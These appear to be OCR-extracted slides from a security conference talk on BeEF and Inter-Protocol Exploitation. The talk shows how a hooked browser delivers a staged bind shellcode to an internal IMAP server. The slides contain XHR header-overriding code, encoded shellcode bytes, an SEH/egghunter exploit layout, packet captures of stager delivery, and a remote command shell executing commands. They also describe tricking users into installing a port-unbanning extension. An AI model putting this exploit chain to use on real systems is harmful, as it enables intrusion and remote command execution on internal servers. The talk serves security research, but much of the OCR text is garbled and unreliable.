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About The Talk

® Current situation and traditional browser attack vectors

® BeEF and Inter-Protocol Exploitation
® The BeEF Bind shellcode
® How the shellcode delivery and exploitation works

® Demo fun, current limitations and...
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Current situation

traditional browser attack vectors

® Aimed at compromise the browser itself, or plugins

® Sandboxes and exploit mitigation techniques make our life
difficult

® (-day browser exploits are extremely expensive (Grugq said :-)




Current situation

Browser vulnerability exploitation

® |s the victims web browser patched!?
® Do you have $100k to spend on a single 0-day browser exploit?

® How many useful browser exploits are available!?




Current situation

Browser plugin exploitation

® |s the plugin patched or vulnerable!?

® How reliable are the plugin exploits?
® some dependent upon browser version and plugin version
® some dependent on exact plugin build version
® most latest browsers don’t leak anymore exact plugin info

® Java-based exploits (also for ROP chains) require user-
intervention on many current browsers (i.e. Chrome)




Current situation
Cross Site Scripting

| Message from webpage .'

® Mis-understood, not patched, found in 90% of application pentests

_/_LA_ XSS
® Full DOM manipulation

® SOP restrictions, additional HT TP headers restrictions, CSP

® |n fact, alert(l) is the mostly used attack vector

® Oh, no sorry, also stealing cookies...

CROSS SITE SCRIPTING ATTACKS




Current situation @
—eEF

traditional browser attack vectors

Internal server vulnerabilities are
sitting there bored and lonely...
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Idea flow

read top to bottom

VVade:
My IPEC research was cool, we
should research further

Ty:
| developed a new staging shellcode
that acts like a VWebServer

Michele;

Awesome, let me do some research
and lets port it to BeEF




The scary BeEF

changing browser attack vectors

—eEF

® |magine a framework like Metasploit,
but for browser-based attacks

® Powerful platform for Client-side
pwhnage, XSS post-exploitation and
generally victim browser security
context abuse.

® The framework allows the penetration
tester to select specific modules
(in real-time) to target each browser,
and therefore each context.

@? 10.90.82.61:3000/ui/panel

e | (3§~ Google

@) (#) @) (£

Hooked Browsers

4 {7 Online Browsers
45917216671

@K 172.16.67.1
© M172.16.67.130
@ M 172.16.67.130

4 ) Offline Browsers
45)10.90.82.61

© M 10.246.78.125
© M 10.246.78.125
@ M 10.246.78.125

Autoloader
_ Adnmin UI
86 modules enabled.
4 network interfaces

running on network in
Hook URL: http://
_ UI URL: http://
running on network ir
Hook URL: http://

E http://

running on network ir
Hook URL: http://

UL URL:  http://
running on network ir
H URL: http://

(1]

Getting Started || Logs
Details Logs Commands Rider XssRays
Module Tree Module Results History
() Browser (24) id « date
Jjj Chrome Extensions (4) 0 2012-04-20 13:55
> [__1 Debug (3)
- 1 2012-04-20 13:55
[__] Exploits (7)
4~ Host (13)
Detect Google Desktop
Detect Software
Get Clipboard
Get Internal IP

Get Physical Location
Get Protocol Handlers
Get System Info

W DELT LUnNUUE Fanel

€« C

Hooked Browsers
4 — ) Onine Browsers
4 -J172.18.67.1
© W1721667.130
S K 172.1867.1

J Offine Browsers

3 BaEF Basc Dem

Rays [ip:172. 16
received ray [i

Current Browser

label
command 1

command 2

Getting Started
Details | Logs

Logs Scan Config

Vector Method
GET
GET

% BeEF 0.4.3.4-alpha | Submit Bug | Logout

Command results -

1

Commands Rider

1 oft

Fri Apr 20 2012 13:56:00 GMT+0100 (BST)
data: 172.16.67.130

85 modules enabled.

3 network interfaces were detected.

running on network interface: 127.0.0.1

|  Hook URL: http://127.0.0. 1:3000/hook. js

|_ UI URL: http://127.0.0.1:3000/ui/panel

running on network interface: 192.168.79.1

|  Hook URL: http://192.168. 79. 1:3000/hook. js

|_ UI URL: http://192.168. 79. 1:3000/ui/panel

running on network interface: 172.16.67.1

|  Hook URL: http://172.16. 67.1:3000/hook. js

|_ UI URL: http://172.16.67.1:3000/ui/panel

RESTful API key: e9a8234f51ab2d8d3c4a84d9388592b37b997376
HTTP Proxy: http://127.0.0.1:6789

BeEF server started (press control+c to stop)

New Hooked Browser [ip:172.16.67.128, type:IE-9, os:Windows 7]
New Hooked Browser [ip:172.16.67.1, type:C-18, os:Macintosh],
[XSSRAYS] Starting XSSRays [ip:172.16.67.128], hooked domain [
[XSSRAYS] Scan id [1] received ray [ip:172.16.67.128], hooked
[XSSRAYS] Scan id [1] received ray [ip:172.16.67.128], hooked
[XSSRAYS] Scan id [1] finished at [2012-04-19T17:58:24+01:00]

Logs Current Browser

XssRays

Vector Name Vector PoC

body onkad double quote hitp:if172.16.67.1:8080/zap-wave/actve/xs

Standard script injection double guote hitp1172.16.67.1:8080/zap-wave/active/xs

&



The scary BeEF

changing browser attack vectors

—eEF

- Hooked Browsers | Getting Started *1| Logs
4 ] Online Browsers : —
4:)172.16.67.1 Details || Logs | Commands | Rider
@K Y 17216671 L "
[_] Offline Browsers > £ Browser (27) il
> [_] Chrome Extensions (7)
> [ Debug (3)
° ° ° ° > [_j Exploits (35)
® Through a simple XSS or Phishing page, with BeEF we « Sros 9
_ Detect Google Desktop

can hook victim browsers and control them entirely
with Javascript

® No more alert(l) crap

® Features like ManlnTheBrowser, Tunneling Proxy and
remote exploits are all implemented in (relatively)
simple Javascript

_ Get Internal IP
_ Get System Info
(. Get Geolocation
. Get Physical Location
(. Get Protocol Handlers
. Get Wireless Keys
. Hook Default Browser
@ Detect CUPS
@ Detect Software
& Get Clipboard
@ Get Registry Keys
& Make Telephone Call
> [_JIPEC (7)
> (] Metasploit (0)
> [ Misc (6)
4 ] Network (8)
_ DNS Enumeration
_ Detect Social Networks
_ Detect Tor
_ IRC NAT Pinning
_ Ping Sweep
. Port Scanner
. Fingerprint Network
& Ping Sweep (Java)




Revitalizing IPEC

Inter-Protocol Exploitation

® Back in 2006/2007 Wade Alcorn researched what he called
Inter-Protocol exploitation

® Exploit ‘tolerant’ protocol implementations, which do not
drop the client connection after N errors

® A properly encoded POST request can be sent to the target:
® HTTP request headers are parsed as BAD COMMANDS
® HTTP request body is parsed as VALID COMMANDS

® HTTP request body also contains shellcode. FUN STARTS

Wade Alcorn [wade@ngssoftware.com ]
5th March 2007

An NGSSoftware Insight Security Research (NISR) Publication
©2007 Next Generation Security Software Ltd
http://www.ngssoftware.com

Abstract

In October 2006, this author presented a paper exploring the threat of Inter-Protocol
Communication. That is, the possibility of two different applications using two different
protocols to meaningfully exchange commands and data. This paper extends that and
other research to explore Inter-Protocol Exploitation. These findings demonstrate the
practicality of encapsulating exploit code in one protocol to compromise a program
which uses a different protocol.



Revitalizing IPEC

Inter-Protocol Exploitation: limitations

- WARNING

® SOP and cross-domain restrictions

® PortBanning

® HTTP Headers size

| CHALLENGES
e HTTP Content-Type settings AHEAD

w,

® After exploitation, back to normal out-of-browser shells?



Revitalizing IPEC

Inter-Protocol Exploitation: solution 1

® |imitations:
imitations On Firefox and WebKit we can still

¢ . ’ .
® SOP and cross-domain restrictions ... send data cross-domain.

This is (usually) enough to pwn services.



Revitalizing IPEC

Inter-Protocol Exploitation: solution 2

http://a.com: 143/

® Limitations: FF: NS_ERROR_PORT ACCESS NOT_ ALLOWED

Connection to various known port
- (22/25/143/993/995/etc..) denied.

® PortBanning
On Firefox, an extension can override

config options: @ Enter string value

network.security.ports.banned.override

143

| Cancel | [ OK |



http://a.com:143
http://a.com:143

Revitalizing IPEC

Inter-Protocol Exploitation: solution 3

® |imitations:

e HTTP Headers size ==

Lots of headers are automatically created
by the browser (around 400 bytes). Most
of them cannot be overridden, and cross-

domain they are bigger.

We can override some of them:

xhr.open("POST", uri, 1}
xhr.setRequestHeader("Content-Type", "text/plain");

xhr.setRequestHeader('Accept', '%/%');
xhr.setRequestHeader("Accept-Language", "en");




Revitalizing IPEC

Inter-Protocol Exploitation: solution 4

® Limitations:
The original IPEC paper was using:

Content-Type: multipart/form-data;

Our approach uses, to save space:

Content-Type: text/plain;
e HTTP Content-Type settings ~



Revitalizing IPEC

Inter-Protocol Exploitation: solution 5

® Limitations: Not anymore, thanks to the BeEF Bind
shellcode.

You have a bind shellcode which can be
totally controlled through an hooked
browser sitting in the same victim
internal network.

e After exploitation, back to normal out-of-browser shells?



BeEF Bind shellcode

how it works

® Ty created a new staging shellcode, which we called
BeEF Bind

® He was bored of reverse shells :D
® stager -> 299 bytes (326 after bad-char encoding)
® stage -> /92 bytes

® The stager sets up a bind port on 4444/TCP to accept
an HT TP POST request containing the raw stage in a
parameter called ‘emd’.



BeEF Bind shellcode

how it works

® The stage sets up a bind port on 4444/TCP to accept
HTTP POST requests from the web browser.

® Set of pipes to redirect the cmd.exe input and output.
This allows to jump in the middle of the HT'TP request
and the cmd.exe process to implement the web: server
style functionality.

® The command result output is returned with the
Access-Control-Allow-Origin: * header. After the stage
is deployed, SOP is not a problem anymore.



BeEF Bind shellcode

how it works

The shellcode is also available as a

Metasploit module

BeEF Bind MSF Payload Module

exploit(

search

Matching Modules

Name

payload/windows/web shell/web b

msf exploit(
Name:
Module:
version:
Platform:
Arch:
Admin:
size:

Needs
Total

Rank:

wWeb Bind Windows

9179, 11421
wWindows

x86

No

299

Normal

Basic options:

Name

EXITFUNC
LPORT
RHOST

Description:
Proxy

command

.'JF‘i) [

.j_hp.‘ ]

Current Setting

process

4444

»

equests
staqged

between

W ':'

Command e
payload/windows/web shell/web

01l

Required

<
D
M W

no

~¢'-]

Wil

d

web br

an

HTTP

ina

normal Web Bind Windows Command Shell

tcp

(stager),

Web Bind TCP Stager

Exit technique: seh, thread, process, none
The listen port
The target address

owser and a shell., Spawn a piped

interrace



BeEF Bind shellcode

how it works

msf exploit( » Search web bind

Matching Modules

Name Disclosure Date Rank Description

payload/windows/web shell/web bind tcp normal Web Bind Windows Command Shell

~

sf exploit( > info payload/windows/web shell/web bind tcp

Name: Web Bind Windows Command Shell Stage (stager), Web Bind TCP Stager

& e
Module: payload/windows/web shell/web bind tcp
Bur /OII Db version: 9179, 11421
P y g Platform: Windows

Arch: x86

Needs Admin: No

Total size: 299
Rank: Normal

D EI I O Provided

Basic options:
Name Current Setting Required Description

EXITFUNC process yes xit technique: seh, thread, process, none
LPORT 4444 yes I

RHOST no

Description:
Proxy web requests
command shell (staged) with an HTTP interface

between a web browser and a shell., Spawn a piped

’



BeEF Bind shellcode

delivery and usage from within BeEF

¥ POST http://172.16.67.135:143/ 200 OK 14ms
Headers Post XML

® Shellcode is binary data

Source
a001 LIST }B33Fg33pojﬂewmtsa‘1&txfm\évaife-‘_géibsammbcuj"..Jm'ia.n-:wx.xk- .
. M ikYUfr 330)1, 1r0Qsfuéh®z i sik; 48™ 20g2..Ee\O)o ™ B" "¥X¥g¥5 psaiooB4r™(OxV>+tei”E™a(°0 , pbX™
® Stager and Stage are delivered with et ke 01DS 5 0 1rpeel s o’ Socked BLARD b paVTISnLS  SpARA RO o sayEla. - TatotEre et 20p

©g; Ba—<AXO5u3“E=01PECIVig5 " ¢QZAF (&N bi€—, «(SMGO#WOIL)7—&,&N; FEYBRIXE. <Zti B33F«G u

XMLHttpRequest.sendAsBinary & syl

® For Webkit browsers that don’t support Sér - Stage
sendAsBinary, prototype overriding on XHR object.

¥ POST http://172.16.67.135:4444/

XMLHttpRequest.prototype.sendAsBinary = function(datastr) " "~

Source

funCtlon b)’tevalue(x) { cmd=iié%o000'%é-i6d«R0:R<R6r(-J&lylhﬂga‘!ﬂi AY
. CAdORW R B<D @x. . AtJDP H.X 0a<I .4 01y1A-AY
return x.charCodeAt(0) & Oxff; CBaud}o; ) SuAX (XSOE K (X6« DADSS [ [aYZQFAX_2.&1) @035 QXTSI DDOrOPOOLOGOLOOO 00O
VLA QOO | $WS0h> 1 §On PV VVLANVV V9OV OV | $WS0n>T 70 \$hOVOPOLOOOShEGHD  \ $h OV OOLOVPOSHES
} +hemd@Rait SYLSVLS 16 YVAYECDS<DSE@DTPVVVFVNVVSVhy1?21i0id ! o Q@ FEQ@OLa0VIOOLOOOHTTP/1.1 200

OK

var ords = Array.prototype.map.call(datastr, byteValue);  content-type: text/ntal

Access-Control-Allow-Origin: *
var ui8a = new Uint8Array(ords);

Content-Length: 3016
. . . ~ b POV VhI2@Phws2 ThLwsyO @€ )ATPh ) €x@yOPPPPEPEPhENAYO-10Sh @ \32jVWhAD7gy0OSWh - 68§ ¥OSSWhti ; 4VOW
this.send (U i8a.buffe r) , —hunMajdl €€ QhPOPSAQOVSTEnIE §0. 754 QOO ; cmd=tCIa: E0AQVOCSh OOV V200093 \Spsh-un
(¥O[€;
} uihe@@nDa5ay01AP SPPP\ St Sh-<3y0.ALD P At=h QOO VL OO 1 QV1zQOW\Sp Shz +§0; QPheQOLOOW
y6hAés yOy6hE—tRy0EBPYY



BeEF Bind shellcode

delivery and usage from within BeEF

® VWe cannot know in advance the exact size
of HT TP headers.

® A dummy cross-domain XHR request is
sent back to BeEF, exact size of headers is
calculated, and exploit junk is adjusted
accordingly.

® Like in all exploits, | byte error is enough
to have a not-working exploit.

® With this approach, errors are minimized.

[10:21:24] Bind Socket [imapeudoral] received [547] bytes of data.
[10:21:24] [>] Bind Socket [imapeudoral] received:

POST / HTTP/1.1

Host: 172.16.67.1:2000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.7; rv:15.0) Gecko/20100101 Firefox/1
5.0.1

Accept: */*

Accept-Language: en

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

Content-Type: text/plain; charset=UTF-8

Referer: http://172.16.67.1:3000/demos/basic.html
Content-Length: 120

Origin: http://172.16.67.1:3000

Pragma: no-cache

Cache-Control: no-cache

[10:21:25] [>] Thread to be killed: #<Thread:0x007fc2e334eb78>

[10:21:25] Bind Socket [imapeudoral] killed.

[10:21:25] [IPEC] Cross-domain XmlHttpRequest headers size - received from bind socket
[imapeudoral]: 427 bytes.




BeEF Bind shellcode

delivery and usage from within BeEF

® Typical SEH exploit with EggHunter, non-IPEC:

commands + junk + shellcode + next _seh + seh + egg hunter

® Typical SEH exploit with EggHunter, IPEC:

HTTP_ headers + commands + (less)junk + shellcode + next_seh + seh + egg hunter



o
I n Registers (FPU)
EiX ABFEFA4S

ECX 0O1SAFCS¢

X 019AFCI:

® ® ® % O0AS3ELS
delivery and usage from within BeEF g
D19AFF34
ODAS3ELS

S ETAMCa L
Q040C34AZ

Immunity dbg view: IMAP process 0 55 ooz

R 001B

memory when sending the stager L0 58 0023

% S 0023

S 003B

Address ASCIT| Conment S 0000
012AFC74 0041DFe8 hiGAi. IMAP4A. 0041DFeS8 )

O19AFC78 O0L1lSAFCS98 "“us0 ASCII "POST / HTTP/l.l0O0Host: 17Z.16.67.135:14 0 astEryr

019AFC7C 0040C990 OE@. IMAP4A.0040C990
O19AFC80 O01lSAFC98 "“us0 ASCII "POST / HTTP/l.l0O0Host: 17Z.16.67.135:14
IRRCRRIM:EY (O1SD1FAS | ¥0Owd |[MSSPIAUT. <ModuleEntryPoint>

019AFC8C 019AFC48 HasO O13AFEQC
O1SAFCS0 00000000 .. .. O1SAFELD
O19AFCS4 | 00000334 40.. D1SAFEl4
019AFC28| S54534F5S0 O19AFELS
O19AFC3C 48zZ0zZFz0 019AFELC

O19AFCAOQ| ZFS505454 f D19AFEZ0 746EEF43
019AFCa4| OD31ZE31|1.1. D19AFEZ4 2AECEFR7Z

019AFCAS TB%F?SDA .Hos 01SAFEZS
0lSAFCAC 21z032474 ~{ 01SAFEZC

01SAFCEO OD13AFE30

01SAFCEB4 327362 0D1SAFE34
01SAFCES | 33

01SAFCEC

013AFCCO

O01SAFCC4 | 41ZD7Z65 -

019AFCCE | 746ESS567 gent 019AFE44

019AFCCC EF4DZ03A | - Mo 013AFE428 320302020
019AFCDO | 6ECECEITA | z] 019AFE4C 202032020
01l9AFCD4 ZEZE5ZF6l a/t5. O1lSAFESO 202020320
019AFCDE 4Dz2z020 0O (P D19AFES4 | 334239030
019AFCDC EEE26326l = 019AFEES 2347463
IR a1 ' - O19AFESC cABL4E!

ASCII
ASCII

"POST / HTTP/1l.1lO0Host:
"POST / HTTP/1l.1lO0OHost:

IMaP42_ 0040C342Z

3zbit
3zbit
3zbit
3zbit
3zbit
NULL

ERROR
Address |Value

O1SAFEOQO4  0QAODZ0Z0
013AFCS88 Q0000000 013AFEOS 67617250

01SAFE28 494CZ021
O1lSAFE3C 7DZ0OE4E53
019AFE40 20202030

O{FFFFFFFF)
OD{FFFFFFFF)
O{FFFFFFFF)
OD{FFFFFFFF)
PFFADOOODC(FFF)

SUCCESS (00000000)

ASCII| Comment
00. .

Prag

ma:

Cont
rol:
no-
cach
.ain
1l LI
ST }
0ooo
0ooo
0ooo
0ooo
0000
O0E3
3FE3
3F° 5

172
172

-1
-1

o

r N

&
&

7.13.
7.13

o

:143000sexr —Adg
:143000sexr -2




BeEF Bind shellcode

delivery and usage from within BeEF

Wireshark view: stager delivery

¥ OK worldmail IMAP4 Server 6.1.19.0 ready

POST / HTTP/1.1

Host: 172.16.67.135:1453

User-agent: Mozilla/s5.0 (Macintosh; Intel Mac 0S X 10.7;
rv:15.0) Gecko/20100101 Firefox/15.0.1

ACCRpL: /%

AcCcept-Language: en

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

Content-Type: text/plain

rReferer: http://172.16.67.1:3000/demos /basic.htm]
Content-Length: 410

origin: http://172.16.67.1:3000

Pragma: no-cache

Cache-Control: no-cache

S L T P e ) o i e B33FB33F.J..%...tT

.41, K...lV..V...B.._....S.. L AL U L WML L L AJEWLKK. L L L KY ..

P e ee 11.Ir..05.U..h...5...:.%...... R

] < Y P -1 R e e e i e | P (.0.phx...e....r
+.r.$.I....... p<.]_..w'S3xXz.,...L....D.ps%

dl#.n..... 5...R"H....... i m com o o - == Bl o T o oo B 08
AX. e i3 i P.Guvuu. T o DA~ ¥ MG. 0. #W. ..L.]7. & ....

Wireshark view: command delivery and results

POST / HTTP/1.1

Host: 172.16.67.135:4444

User-agent: Mozilla/5.0 (Macintosh; Intel Mmac 0S5 X 10.7; rv:15.0)
Firefox/15.0.1

Accept: text/html, application/xhtml+xml, application/xml;g=0.9, %/
AcCCept-Language: en-us,en;g=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

content-Type: text/plain; charset=UTF-8

rReferer: http://172.16.67.1:3000/demos /basic.html

Content-Length: 17

origin: http://172.16.67.1:3000

Pragma: no-cache

Cache-Control: no-cache

cmd=netstat -na

HTTP/1.1 200 OK

Content-Type: text/html
Access-Control-Alllow-origin: *
Content-Length: 3016

netstat -na

AcCtive Connections

Proto Local Aaddress Foreign Address State

TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
EE 0.0.0.0:90 0.0.0.0:0 LISTENING
TCP 0.0.0.0:106 0.0.0.0:0 LISTENING



BeEF Bind shellcode

delivery and usage from within BeEF... . ... . .. =eEF

Prompt

Terminal

Welcomesto BeEF Bind interactive shell. To Begin Using type 'help’

e L target 172.16.67.135 4444

Phow 172.16.67.135:4444
exec netstat -na

Y \WINDOWS \system32>netstat -na
Active Connections

Proto Local Address Foreign Address State
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING

Ultimate fun.

TCP 0.0.0.0:90 0.0.0.0:0 LISTENING
TCP 0.0.0.0:106 0.0.0.0:0 LISTENING
B EF IPEC h ” S TCP 0.0.0.0:110 0.0.0.0:0 LISTENING
c sSNne get results TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:388 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1044 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 127.0.0.1:8181 0.0.0.0:0 LISTENING

T™CP 172.16.67.135:139 0.0.0.0:0 LISTENING

TCP 172.16.67.135:143 172.16.67.1:57055 CLOSE WAIT
TCP 172.16.67.135:4444 172.16.67.1:57056 TIME WAIT
TCP 172.16.67.135:4444 172.16.67.1:57057 TIME WAIT
TCP 172.16.67.135:4444 172.16.67.1:57058 ESTABLISHED
UDP 0.0.0.0:445 %*g*

UDP 0.0.0.0:500 #*:%
UDP 0.0.0.0:1029 #*:*
UDP 0.0.0.0:1166 *:*
UDP 0.0.0.0:4500 *:*
UDP 127.0.

0.1:123 LR A



High Level Architecture @
—eEF

from FF extension to command execution

UALCONMVWN
orldMail IMAP 3.0




High Level Architecture

from FF extension to command execution

UALCONMVWN
orldMail IMAP 3.0

. Javascript Port Scanning

on internal network (port 143)

Trick the user to install
a Firefox extension
that disables PortBanning

Hooked Browser



High Level Architecture

from FF extension to command execution

UALCONMVWN
orldMail IMAP 3.0

dhlgnternal network (port 143)

Trick the user to install
a Firefox extension
that disables PortBanning
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High Level Architecture

from FF extension to command execution
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from FF extension to command execution
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Demo fun
from phishing to internal IMAP server compromise -eEF




Thanks

® Woade and the other BeEF guys
® Ty for his awesome shellcode
® Michele for his awesome BeEF integration

® RuxCon crew and you, attendee-

® VWhoever will offer beers later...







